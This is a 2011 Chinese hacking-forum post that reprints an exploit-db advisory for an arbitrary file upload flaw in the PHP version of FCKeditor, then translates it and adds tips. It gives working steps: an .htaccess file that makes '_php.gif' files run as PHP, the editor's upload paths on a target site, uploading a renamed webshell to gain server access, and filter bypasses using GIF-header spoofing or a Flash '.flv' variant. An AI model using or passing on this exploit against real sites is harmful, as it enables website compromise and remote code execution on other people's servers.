蓝盟诗人[LUC]蓝客联盟

Fckeditor PHP版本爆新漏洞

2011-10-24 20:13 作者: 来源: 本站 浏览: 3,398 views 我要评论 字号:

In The Name Of GOD

[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability
[+] Date: 2011
[+] script:http://sourceforge.net/projects/fckeditor/
[+] Author  : pentesters.ir
[+] Website : WwW.PenTesters.IR
---------------------------------------------------------
1.create a htaccess file:
code:
<FilesMatch "_php.gif">
SetHandler application/x-httpd-php
</FilesMatch>
2.Now upload this htaccess with FCKeditor.
http://target.com/FCKeditor/editor/filemanager/upload/test.html
http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html
----------------------------------------------------------------------------------------------
3.Now upload shell.php.gif with FCKeditor.
4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically.
5.http://target.com/anything/shell_php.gif
6.Now shell is available from server.

---------------------------------------------------------

http://www.exploit-db.com/exploits/17644/

这个是exploit-db上的原文,我就是个翻译一下

1.首先在本地创建一个.htaccess(注意前面有个点),内容为:

<FilesMatch "_php.gif">

SetHandler application/x-httpd-php

</FilesMatch>

2.然后用fckeditor把这个文件上传上去(至于FCKEDITOR如何上传这里不再赘述)

3.创建一个webshell,比如phpspy什么的,然后把后缀名改成shell.php.gif,上传上去。(可以用GIF文件头欺骗,不过有的过滤很严,可能上不上去,最后我会说一种方法,上传成功率高些)

4.文件名会变成shell_php.gif,访问这个文件,就会发现,你已经得到webshell

写在最后:

这个漏洞的还是很有局限性的,只适用于PHP的fck,而且还必须是apache之类的服务器,IIS什么的都不行。

还有就是有些人可能会遇到在上传图片的时候,fckeditor报错,说是错误的文件什么的,这里有个方法:

可以换种上传类型,用Flash上传就不会碰到类似的限制,不过.htaccess文件的内容也要改改,还有shell的文件名

<FilesMatch "_php.flv">

SetHandler application/x-httpd-php

</FilesMatch>

shell的名字改成shell.php.flv 这样就可以了

打印
分享到:
复制链接

发表评论

*

* (保密)

Ctrl+Enter 快捷回复

会员登录关闭

记住我 忘记密码

注册会员关闭

小提示: 您的密码会通过填写的"电子邮箱"发送给您.